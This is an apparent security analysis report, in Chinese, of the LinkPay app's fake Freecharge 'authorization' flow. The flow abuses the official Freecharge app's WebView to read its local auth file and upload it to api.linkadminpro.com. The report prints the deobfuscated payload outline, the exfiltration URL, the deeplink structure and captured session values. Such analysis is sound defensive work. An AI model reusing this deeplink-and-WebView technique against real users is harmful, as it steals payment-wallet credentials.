18 KiB
LinkPay Freecharge 授权分析
样本来源
| 项目 | 值 |
|---|---|
| 平台 App | LinkPay(uni.app.UNIBA00479,v1.1.9) |
| 后端 API | https://api.linkcorex.com |
| 钱包类型 | walletType = 2 / ctype = 2 |
| 授权页面 | pages/wallet/freecharge-auth(FreechargeAuthPage) |
| 分析样本 | linkpay/apks/linkpay.apk |
| 抓包样本 | freecharge_logs/logsrv_2026-07-28_23-06-50_15.har(freePrepare) |
LinkPay 是 UniApp(DCloud)应用。Freecharge 不下载魔改 APK,也不使用 InstallPlugin(
xyz.rush.plugin)。但授权链路会利用官方 Freecharge App 的 WebView 容器读取本地 auth 文件并外传。
结论摘要
LinkPay 的 Freecharge「授权」表面上是官方 App 授权 + 服务端 tempKey 会话,实际抓包显示:
freePrepare返回嵌套 deeplink,在官方 Freecharge 内打开 WebView(action=wv)- WebView 加载服务端注入的 HTML/JS,读取官方 App 本地 auth 文件并 Base64 上传
- LinkPay 客户端轮询
check,待后端收到凭据后返回upiList - 用户选择 UPI →
linkConfirm完成绑定
不需要魔改 Freecharge 包,也没有 MobiKwik 那套 Tail-TokenReceiver 本地 Hook;但并非正规 OAuth,而是通过官方 App WebView 实现的凭据窃取。
与其他钱包的分流逻辑
添加钱包时,服务端返回的 isHook 决定走哪条链路(add-wallet 页面):
isHook |
目标页面 | 机制 |
|---|---|---|
1 |
wallet-guide |
下载服务端 APK → 安装 → 原生插件读 token |
2 |
freecharge-auth |
官方 App WebView + 读 auth 文件 + 后端 tempKey 会话 |
其他 + url |
web-login |
WebView 打开登录页 |
其他 + otp |
wizard |
OTP 向导流程 |
Freecharge 固定为 isHook = 2,因此不会进入 wallet-guide,也不会在 downloads/ 目录留下 APK 缓存。
对比 MobiKwik(walletType = 4,isHook = 1):
MobiKwik: freePrepare ❌ → wallet-guide → 下载 APK → TokenReceiver Hook
Freecharge: freePrepare ✅ → freecharge-auth → openURL → 轮询 check → linkConfirm
整体链路
LinkPay (uni.app.UNIBA00479)
│ 用户选择 Freecharge 绑定
│ isHook=2 → /pages/wallet/freecharge-auth
▼
POST api.linkcorex.com/.../freePrepare { ctype: 2 }
│ 返回 tempKey + url(嵌套 deeplink + 恶意 HTML)
▼
plus.runtime.openURL(url)
│ freecharge://home?action=wv&url=<内层 fc/app?html=...>
▼
官方 Freecharge App 打开 WebView
│ JS 读取 file:///data/data/com.freecharge.android/.../auth.preferences_pb
│ POST api.linkadminpro.com/.../freeSubmit { b64, userId, sign }
▼
LinkPay 轮询 POST api.linkcorex.com/.../check { tempKey }
│ status = 3 且 upiList 非空 → 授权完成
▼
用户在 LinkPay 选择要绑定的 UPI
▼
POST api.linkcorex.com/.../linkConfirm { tempKey, upiList }
▼
绑定成功 → /pages/wallet/add-success
前端实现(FreechargeAuthPage)
源码位置:assets/apps/__UNI__BA00479/www/app-service.js(webpack module 55bb)
状态机
| 状态 | 含义 |
|---|---|
preparing |
正在调用 freePrepare |
authStarted |
已拿到 authUrl,等待用户在 Freecharge 完成授权 |
prepareDone |
轮询成功,UPI 列表已返回,等待用户选择 |
expired |
会话超时(默认 expireSeconds,通常 600s) |
confirming |
正在调用 linkConfirm |
关键方法
| 方法 | 作用 |
|---|---|
startAuthentication() |
调用 freePrepare,启动倒计时和轮询,自动 openAuthUrl() |
openAuthUrl() |
plus.runtime.openURL(this.authUrl) 打开官方授权 |
checkAuthorization() |
轮询 check API,status=3 时解析 upiList |
initUpiSelection() |
加载多选配置、历史已绑 UPI,初始化选择列表 |
confirmLink() |
提交选中的 UPI 到 linkConfirm |
UI 文案(暗示依赖官方 App)
- "Please complete the authorization in Freecharge."
- "Return here after completing authorization in Freecharge."
- 按钮:"Go to Authenticate" / "Open Freecharge Again"
API 接口
Base URL:https://api.linkcorex.com
| 接口 | 方法 | 路径 | 请求 | 响应要点 |
|---|---|---|---|---|
| 准备授权 | POST | /app/ct/app/collection/freePrepare |
{ ctype: 2, walletId?, id?, ... } |
{ tempKey, url, phone, expireSeconds } |
| 轮询结果 | POST | /app/ct/app/collection/check |
{ tempKey } |
{ status, upiList, phone, sessionId, sign, ... } |
| 凭据回传 | POST | api.linkadminpro.com/.../freeSubmit |
{ b64, userId, sign } + sessionId query |
{ code: 1000, data: true } |
| 确认绑定 | POST | /app/ct/app/collection/linkConfirm |
{ tempKey, upiList[] } |
成功 code=1000 |
| UPI 多选配置 | GET | /app/ct/type/ctType/{id} |
wallet config id | { multiple, multipleNum } |
| 已绑钱包列表 | GET | /app/ct/app/collection/getWalletList |
— | 用于锁定历史 UPI |
check 轮询逻辑
- 首次延迟 1200ms,之后每 1500ms 重试
status === 3且upiList.length > 0→ 授权完成- 网络失败自动重试,显示 "Network is unstable. Retrying automatically..."
- 超时后
expired = true,需重新startAuthentication()
UPI 格式校验
/^[a-zA-Z0-9._-]{2,64}@[a-zA-Z0-9.-]{2,64}$/
付款时的 Freecharge 调用
INR 订单付款页(pages/payment/inr-order)对 Freecharge 单独处理:
// payoutWalletType === 2 时使用 freechargeIntent,而非通用 intent
if (payoutWalletType === 2) {
plus.runtime.openURL(order.freechargeIntent)
} else {
plus.runtime.openURL(order.intent) // MobiKwik / PhonePe 等
}
付款同样通过 plus.runtime.openURL 调起官方 Freecharge,不涉及魔改包。
与 ShowPay / WinPay 的对比
| 维度 | LinkPay Freecharge | ShowPay / WinPay Freecharge |
|---|---|---|
| 下载器 | 无(官方包即可) | InstallPlugin(xyz.rush.plugin) |
| APK 来源 | 不下载 | 缓存 fcv76.apk(魔改包) |
| 包名 | 官方 com.freecharge.android |
同名但注入后门 |
| 授权方式 | 官方 App WebView + 读 auth 文件 + tempKey 轮询 |
AIDL com.longfafa.pay.BIND_SERVICE |
| 本地 Hook | 无原生插件;WebView JS 读本地文件 | 有(com.longfafa.paylib.JobService) |
| 获取数据 | auth.preferences_pb → 服务端解析 UPI |
token / 手机号 / UPI / FCM 等(本地 IPC 窃取) |
| 后端 | api.linkcorex.com + api.linkadminpro.com |
api.showpay-web.com 等 |
获取到的数据范围
LinkPay Freecharge 授权完成后,客户端可见的数据:
| 数据 | 来源 | 说明 |
|---|---|---|
| UPI 地址列表 | check 响应 upiList |
用户在 LinkPay 中选择子集提交 |
| 手机号 | freePrepare / check 响应 phone |
用于匹配历史绑定 |
| 绑定关系 | linkConfirm 成功后写入平台 |
walletId + UPI + phone |
抓包确认的实际窃取行为(freecharge_logs):
| 行为 | 详情 |
|---|---|
| 读取本地 auth 文件 | com.freecharge.android.auth.preferences_pb |
| 外传域名 | api.linkadminpro.com(与主 API api.linkcorex.com 不同) |
| 外传接口 | POST /app/ct/app/collection/freeSubmit?sessionId=... |
| 外传内容 | auth 文件 Base64({ b64, userId, sign }) |
未观察到以下行为:
- 下载 / 安装魔改 Freecharge APK
- 使用
Tail-TokenReceiver原生插件(Freecharge 授权页不调用) - 注册
com.longfafa.pay.BIND_SERVICE类 IPC 后门
授权 Deeplink(核心,已抓包确认)
关键结论
LinkPay 客户端里没有写死 Freecharge 授权 deeplink。
url 完全由服务端在 freePrepare 响应里动态下发(约 21KB),前端只做:
// freecharge-auth.vue → openAuthUrl()
plus.runtime.openURL(this.authUrl)
// authUrl = freePrepare 响应里的 data.url
客户端 JS 中不存在 freecharge://、fc/app 等硬编码字符串;但服务端下发的 URL 是三层嵌套结构。
freePrepare 真实响应(freecharge_logs,2026-07-28 23:06:50)
{
"code": 1000,
"data": {
"ctype": 2,
"phone": "",
"expireSeconds": 600,
"tempKey": "9c63f226-7554-888b-9c07-fc80e2dbb85f",
"url": "freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=https%3A%2F%2Ffreecharge.in%2Ffc%2Fapp%3Faction%3Dwv%26...%26html%3D%253C%2521DOCTYPE%252Bhtml%253E..."
}
}
三层 Deeplink 结构
第 1 层 — 外层(LinkPay openURL 直接打开)
freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=<内层 URL 编码>
| 参数 | 值 | 含义 |
|---|---|---|
action |
wv |
打开 WebView 容器(非 IncoinPay 付款用的 view) |
displayBar |
false |
隐藏导航栏 |
showLoader |
true |
显示加载动画 |
url |
内层 https://freecharge.in/fc/app?... |
嵌套目标 |
第 2 层 — 内层(Freecharge App 内 WebView 加载)
https://freecharge.in/fc/app?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&html=<HTML+JS>
第 3 层 — 嵌入 HTML/JS(恶意载荷)
完整载荷已从 HAR 解码,保存在:
linkpay/freecharge_payload/
├── auth_webview.html # 格式化后的 HTML(含可读 JS)
├── auth_webview_raw.html # 从 html= 参数直接解码的原始串
└── auth_payload.js # eval(String.fromCharCode(...)) 解码后的 JS
完整 HTML 结构:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<style>
body{margin:0;display:flex;flex-direction:column;align-items:center;
justify-content:center;min-height:100vh;background:#f5f5f5;font-family:sans-serif;}
#icon{font-size:64px;margin-bottom:16px}
#msg{font-size:20px;font-weight:bold;margin-bottom:12px;color:#333}
#hint{font-size:14px;color:#888;text-align:center;padding:0 24px}
</style>
</head>
<body>
<div id="icon">⏳</div>
<div id="msg">Processing…</div>
<div id="hint">Please wait</div>
<script>eval(String.fromCharCode(...))</script> <!-- 9418 字符,见 auth_payload.js -->
</body>
</html>
页面 UI 显示:
- ⏳ Processing…
- Please wait
- 成功:✅ Authorization Successful / You can now return to the previous app.
- 失败:❌ Authorization Failed
完整 JS 载荷(auth_payload.js,已去混淆):
(function(){
var F = 'file:///data/data/com.freecharge.android/files/datastore/com.freecharge.android.auth.preferences_pb';
var UPLOAD = 'https://api.linkadminpro.com/app/ct/app/collection/freeSubmit?sessionId=3438ded7-e0a2-451e-9ef3-6f3af2862e14';
var UID = 242204;
var SIGN = '9c63f2267554888b9c07fc80e2dbb85f';
function showSuccess() { /* ✅ Authorization Successful */ }
function showFail(reason) { /* ❌ Authorization Failed */ }
function toB64(bin) {
// 逐字节读取二进制,btoa 编码
}
function xhrSync(method, url, body, ct) {
// 同步 XMLHttpRequest
}
function uploadJSONP(b64) {
// POST 失败时 fallback:动态插入 <script src=UPLOAD&callback=...&b64=...>
}
function doUpload(b64) {
// 优先 POST JSON { b64, userId, sign },失败走 JSONP
}
function run() {
// 1. 检查 context:仅允许 file: / null origin(Freecharge WebView 本地页)
if (location.protocol !== 'file:' && location.origin !== 'null' && location.origin !== '') {
showFail('Wrong context'); return;
}
// 2. 同步 GET 读取 auth.preferences_pb
// 3. toB64 编码
// 4. doUpload 上传
}
try { run(); } catch(e) { showFail('Unexpected error'); }
})();
JS 行为要点:
| 步骤 | 行为 |
|---|---|
| 环境检查 | 非 file: / null origin 则拒绝(防浏览器直接打开) |
| 读文件 | 同步 XHR GET auth.preferences_pb,overrideMimeType('text/plain; charset=x-user-defined') |
| 编码 | 逐字节 charCodeAt & 255 → btoa |
| 上传 | 先 POST JSON;失败则 JSONP <script src=...> |
| 成功判定 | 响应 { code: 1000, data: true } |
| 混淆 | 外层 HTML 用 eval(String.fromCharCode(...)) 隐藏 9418 字符 JS |
关联会话字段(check 响应,同一次抓包)
| 字段 | 值 |
|---|---|
tempKey |
9c63f226-7554-888b-9c07-fc80e2dbb85f |
sessionId |
3438ded7-e0a2-451e-9ef3-6f3af2862e14 |
sign |
9c63f2267554888b9c07fc80e2dbb85f |
userInfoId |
242204 |
status |
0(轮询中,upiList 为空) |
addressMd5 |
adb833b5b838b3f5be46c6971b331f5a |
官方 Freecharge App 注册的 Scheme(com.freecharge.android v21.3.0)
从 /storage/emulated/0/Download/freecharge.apk Manifest 提取:
| Scheme | Host / Path | 用途 | 入口 Activity |
|---|---|---|---|
freecharge:// |
(无 host) | 通用 deep link | MainActivity |
freecharge:// |
home |
应用内页面跳转 | MainActivity |
freecharge:// |
login |
登录/授权相关 | MainActivity |
freecharge:// |
splash |
启动页 | MainActivity |
freecharge:// |
helpcenter |
帮助中心 | HelpCenterActivity |
freecharge:// |
pay |
UPI 支付 | UpiIntentActivity |
freechargeupi:// |
pay |
UPI 支付 | UpiIntentActivity |
freechargegtk:// |
(无 host) | GTK 回调(类似 MobiKwik 的 mobikwikgtk://getToken) |
MainActivity |
upi:// |
pay / mandate |
标准 UPI | UpiIntentActivity |
https:// |
freecharge.in / www.freecharge.in |
App Link | MainActivity |
https:// |
freechargebiz.in / www.freechargebiz.in |
Biz 版 App Link | MainActivity |
https:// |
frch.in |
短链 | MainActivity |
官方 App 内还内置 res/raw/deeplink_cached.json,常见 Biz 版 Web 容器格式:
https://www.freechargebiz.in/fc/app?action=wv&title=...&url=https://www.freecharge.in/...?isAppSdk=true&shortCode=XX
也有原生页跳转:
https://www.freechargebiz.in/fc/app?action=view&page=home
https://www.freechargebiz.in/fc/app?action=view&page=paylater
参考:同类平台的 Freecharge Deeplink
1. IncoinPay 付款(已反编译确认)
GrabDetailActivity.java 构造 Freecharge 付款链接:
// toolType == 8 (Freecharge)
cVar2.put("action", "view");
cVar2.put("page", "upi_pay");
cVar2.put("receiverVpa", account + "@" + ifsc + ".ifsc.npci");
str = "freecharge://home?" + queryString;
// 最终形如:
// freecharge://home?action=view&page=upi_pay&receiverVpa=XXXX@IFSC.ifsc.npci
LinkPay 付款侧同样用 freechargeIntent,结构应与上述类似(服务端下发,非客户端拼)。
2. LinkPay 授权 vs 付款(已确认 vs 推测)
| 场景 | 字段 | 来源 API | Deeplink 形态 |
|---|---|---|---|
| 绑定授权 | authUrl / data.url |
freePrepare |
freecharge://home?action=wv&url=<fc/app?html=恶意JS> ✅ 已抓包 |
| 订单付款 | freechargeIntent |
订单详情 API | freecharge://home?action=view&page=upi_pay&receiverVpa=...(参考 IncoinPay) |
授权与付款使用不同的 action:
- 授权:
action=wv(WebView + 读文件) - 付款:
action=view&page=upi_pay(原生 UPI 页)
3. 对比 MobiKwik(LinkPay APK 下载链路)
| Freecharge 授权 | MobiKwik 绑定 | |
|---|---|---|
| 入口 | freePrepare → openURL |
wallet-guide → 下载 APK → TokenReceiver |
| 读凭据 | WebView JS 读 preferences_pb |
原生插件 openTargetAppByType("newmob") |
| 回传 | api.linkadminpro.com/freeSubmit |
本地存储 + linkPrepare |
| 魔改包 | 不需要 | 需要(GitHub 下发 APK) |
服务端配置补充(listEnabledCtTypes 抓包)
Freecharge(ctType=2)的 loginOption 字段:
{
"url": null,
"valueType": null,
"otp": 4,
"isHook": 2,
"guideUrl": "",
"apkDownloadUrl": "https://d1a6nbwk78otoo.cloudfront.net/free2368484936.apk"
}
注意:虽然配置了
apkDownloadUrl,但isHook=2实际走freecharge-auth而非wallet-guide,该 APK 链接未被本次授权流程使用。
复现与验证建议
- 在 LinkPay 中添加 Freecharge 钱包(
isHook=2会自动进入freecharge-auth页) - 安装官方 Freecharge(
com.freecharge.android) - 抓包目标:
POST api.linkcorex.com/.../freePrepare→ 记录data.url完整字符串(约 21KB)POST api.linkadminpro.com/.../freeSubmit→ 记录b64外传POST api.linkcorex.com/.../check→ 观察status从0→3及upiListPOST api.linkcorex.com/.../linkConfirm→ 确认最终提交字段
- 对比:LinkPay
downloads/目录应无 Freecharge APK(与 MobiKwik 不同)
相关文件
linkpay/
├── apks/
│ ├── linkpay.apk # LinkPay 本体
│ └── MobiKwik_linkpay.apk # 对比:MobiKwik 走 APK 下载链路
├── freecharge_payload/ # 从 HAR 解码的嵌套 HTML/JS 载荷
│ ├── auth_webview.html
│ ├── auth_webview_raw.html
│ └── auth_payload.js
└── freecharge.md # 本文档
freecharge_logs/ # 抓包 HAR(含 freePrepare 真实 deeplink)
└── logsrv_2026-07-28_23-06-50_15.har